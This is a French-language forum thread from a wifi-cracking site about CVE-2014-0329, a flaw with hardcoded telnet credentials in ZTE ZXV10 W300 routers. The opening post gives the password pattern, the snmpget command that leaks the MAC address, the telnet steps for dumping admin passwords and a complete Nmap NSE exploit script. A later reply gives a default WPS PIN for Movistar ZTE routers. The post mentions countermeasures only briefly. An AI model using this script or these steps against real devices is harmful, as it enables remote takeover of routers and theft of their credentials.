Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 12-02-2014 12:23:15

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Prise de contrôle à distance via telnet/SNMP des router ZTE-ZXV1O W300

ztew3002.png


ZTE est un fabricant important sur le marché mondial des points d'accès
Il travaille avec de nombreux ISP de part le monde, mou pourrions citer par exemple Telefonica ( espagne et amérique du sud ) et sa toute nouvelle gamme de routers estampillés "MOVISTAR_XXXX" massivement distribuée sous les latitudes ibères ( qui sont rudes parrait-il tongue
Ce coup-ci c'est du côté du Pérou qu'une importante et inquiétante faille de sécurité a étés mise en lumière par Cesar Neira

Elle concerne le modèle ZXV1O W300 v 2.1 plus connu là bas sous le nom de "portaretratos" ( "porte-photo" ou "porte-portrait " )
La faille est la suivante, le router possède par défaut un accès administrateur via telenet avec les identifiants suivants

user : admin
password :  XXXXairocon

Les X étant les 4 derniers caractères hexadécimaux de l'adresse mac

Nous n'allons pas nous attarder sur comment obtenir l'adresse mac si le router est dans le rayon wireless de l'intrus car vous connaissez tous airodump-ng ou si 'lintru est connecté à la red locale ( il suffit de regarder vôtre interface de configuration wireless ou encore de "PINGer" la passerelle )

Ce qui est particulièrement inquiétant dans cette affaire c'est l'obtention à distance de privilèges d'administrateurs sur ce point d'accès

Nous pourrions bruteforcer l'accès avec , par example, hydra ou médusa, ce qui ne devrait pas prendre beaucoup de temps ( 16^4 possibilités )

Ou nous pourrions utiliser cette jolie technique que nous révèle Cesar

Nôtre ZTE est configuré avec le service SNMP activé par défaut depuis Internet. Le groupe d'utilisateur  est "public" ce qui nous permet de faire une requête OID (    ".1.3.6.1.2.1.2.2.1.6.10000" ) et obtenir en échange l'adresse mac du dispositif
Comme ceci :

snmpget -c public -v 2c -On IP_PUBLICA OID

img_04.png

Bingo!

Vous pouvez maintenant entrer par terlnet avec vôtre pass et en demandant poliement au router une liste des utilisateurs admin et support et de leur mot de passe vous pouvez même accéder à l'interface WEB

Bref, en quelques secondes il est possibles de "se mettre" au plus profond des entrailles de cette bébête depuis les quatres coins du globe...

vous lancez sh via telnet et formulez tranquillement vôtre requête avec un simple

login show

et que le "show" commence...

img_05.png


Contremesures face à cette brèche :

  - désactiver telnet et SNMP via Internet

voici l'exploit

# Exploit Title: ZTE ZXV10 W300 router contains hardcoded credentials
# Date: 03 Feb 2014
# Exploit Author: Cesar Neira
# Vendor Homepage: http://wwwen.zte.com.cn/
# Version: ZTE ZXV10 W300 v2.1
# CVE : CVE-2014-0329
# Dork (Shodan): Basic realm="index.htm"
# References:
http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
 
 
local nmap = require "nmap"
local stdnse = require "stdnse"
local snmp = require "snmp"
local vulns = require "vulns"
 
description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the
telnet service on the device. The username is "admin" and the password is
"XXXXairocon" where "XXXX" is the last four characters of the device's MAC
address. The MAC address is obtainable over SNMP with community string public.
]]
author = "Cesar Neira"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "exploit", "intrusive"}
 
---
--
-- @usage nmap -sU -sS -p U:161,T:23 --script=airocon example.org
-- @output
-- PORT    STATE         SERVICE
-- 23/tcp  open          telnet
-- 161/udp open|filtered snmp
-- 
-- Host script results:
-- | airocon: 
-- |   VULNERABLE:
-- |   ZTE ZXV10 W300 router contains hardcoded credentials
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2014-0329
-- |     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
-- |     Description:
-- |       ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
-- |       service on the device. The username is "admin" and the password is "XXXXairocon"
-- |       where "XXXX" is the last four characters of the device's MAC address. The MAC address
-- |       is obtainable over SNMP with community string public.
-- |     Disclosure date: 2014-2-3
-- |     Exploit results:
-- |       admin:1234
-- |       support:1234
-- |       admin:0E91airocon
-- |     References:
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0329
-- |       http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
-- |_      http://www.kb.cert.org/vuls/id/228886
 
-- @args community SNMP community (Default: public)
--
---
 
 
local DEFAULT_COMMUNITY = "public"
 
 
hostrule = function(host)
    local snmp_port, telnet_port
     
    snmp_port = nmap.get_port_state(host, {number=161, protocol="udp"})
    if not snmp_port  and not (snmp_port.state == "open" or snmp_port.state == "open|filtered") then
        return false
    end
     
    telnet_port = nmap.get_port_state(host, {number=23, protocol="tcp"})
    if not telnet_port and not telnet_port.state == "open" then
        return false
    end
     
    return true
end
 
 
local get_mac = function(host, community)
    local socket, status, response
     
    socket = nmap.new_socket("udp")
    socket:set_timeout(5000)
 
    status, response = socket:connect(host, 161)
     
    if not status then
        socket:close()
        return status, response
    end
     
    local payload, request
 
    request = snmp.buildGetRequest({}, ".1.3.6.1.2.1.2.2.1.6.10000")
    payload = snmp.encode(snmp.buildPacket(request, 0, community))
     
    status, response = socket:send(payload)
     
    if not status then
        socket:close()
        return status, response
    end
     
    status, response = socket:receive_bytes(1)
     
    if not status then
        socket:close()
        return status, response
    end
     
    socket:close()
     
    local result
    result = snmp.fetchFirst(response)
     
    if not result then
        return false, "Unexpected response value."
    end
     
    return true, stdnse.tohex(result)
end
 
 
local dump_creds = function(host, user, password)
    local socket, status, response
     
    socket = nmap.new_socket("tcp")
    socket:set_timeout(5000)
     
    status, response = socket:connect(host, 23)
     
    if not status then
        socket:close()
        return status, response
    end
     
    local payload
    payload = user .. "\r" .. password .. "\rsh\rlogin show\rexit\r"
     
    status, response = socket:send(payload)
     
    if not status then
        socket:close()
        return status, response
    end
     
    status, response = socket:receive_buf("exit", false)
     
    if not status then
        socket:close()
        return status, response
    end
     
    socket:close()
     
    return true, response
end
 
 
local parse_response = function(response)
    local index
     
    index = string.find(response, "Username +Password +Priority")
     
    if not index then
        return false, "Unexpected response value."
    end
 
    index = string.find(response, "\r\n", index) + 2
    response = string.sub(response, index)
 
    local result, endl, line
    result = {}
     
    index = 0
    endl = string.find(response, "\r\n", index)
 
    while endl do
        line = string.sub(response, index, endl)
        line = string.gsub(line, "\r", "")
        line = string.gsub(line, "^ +", "")
        line = string.gsub(line, " +$", "")
        line = string.gsub(line, " +", " ")
         
        local user, pass, prio
        for user, pass, prio in string.gmatch(line, "([^ ]+) ([^ ]+) ([^ ]+)") do
            local aux = {}
            aux['username'] = user
            aux['password'] = pass
            aux['priority'] = prio
            table.insert(result, aux)
        end
         
        index = endl + 2
        endl = string.find(response, "\r\n", index)
    end
     
    return true, result
end
 
 
action = function(host)
    local vuln = {
        title = "ZTE ZXV10 W300 router contains hardcoded credentials",
        state = vulns.STATE.NOT_VULN,
        IDS = {CVE = 'CVE-2014-0329'},
        risk_factor = "High",
        scores = {
            CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
        },
        description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
service on the device. The username is "admin" and the password is "XXXXairocon"
where "XXXX" is the last four characters of the device's MAC address. The MAC address
is obtainable over SNMP with community string public.]],
        references = {
            "http://www.kb.cert.org/vuls/id/228886",
            "http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html"
        },
        dates = {
            disclosure = {year = 2014, month = 2, day = 3},
        },
        exploit_results = {},
    }
 
    local community
    community = stdnse.get_script_args(SCRIPT_NAME .. ".community") or DEFAULT_COMMUNITY
     
    local status, response
     
    status, response = get_mac(host, community)    
    if not status then
        return response
    end
     
    local password
    password = string.upper(string.sub(response, 9)) .. "airocon"
     
    status, response = dump_creds(host, "admin", password)
    if not status then
        return response
    end
     
    status, response = parse_response( response )
    if not status then
        return response
    end
     
    vuln.state = vulns.STATE.EXPLOIT
    for _, data in pairs(response) do
        table.insert(vuln.exploit_results, data.username .. ":" .. data.password)
    end
     
    return vulns.Report:new(SCRIPT_NAME, host):make_output(vuln)
end

Et voici l'excellente page de l'auteur ( en espagnol ) ou vous pourrez constater qu'il n'en ai pas à son premier coup ( ZTE en prend pour son grade big_smile )

Hackeando el router ZTE ZXV10 W300 v2.1 (El Portaretratos)

Bravo l'artiste !

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 14-02-2014 12:54:43

goliate
Membre Irremplaçable
Inscription : 06-12-2009
Messages : 1 413
Site Web

Re : Prise de contrôle à distance via telnet/SNMP des router ZTE-ZXV1O W300

Merci pour cette infos?


só deus podem me julgar
719895banniere3.gif
só deus podem me julgar

Hors Ligne

#3 16-02-2014 00:14:53

JeanCharles
Membre Indétronable
Lieu : Sainte-Anne
Inscription : 13-07-2012
Messages : 199

Re : Prise de contrôle à distance via telnet/SNMP des router ZTE-ZXV1O W300

C'est impressionnant comment c'est tout pourri ZTE  big_smile


« γνωθι σεαυτον »

Hors Ligne

#4 16-02-2014 13:57:29

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Prise de contrôle à distance via telnet/SNMP des router ZTE-ZXV1O W300

Le modèle de routeur ZTE distribué par telefonica, le ZXHN_H108N; essid par défaut VOMISTAR_XXXX ... eu pardon, MOVISTAR_XXXX ; en Espagne,  est configuré avec le WPS activé par défaut et avec PIN... 12345670
big_smile

Hors Ligne

#5 16-02-2014 21:53:09

koala
Membre d'honneur
Lieu : In the sky
Inscription : 03-09-2010
Messages : 2 316

Re : Prise de contrôle à distance via telnet/SNMP des router ZTE-ZXV1O W300

ça exite encore ce genre de truc ?! big_smile

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.023 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]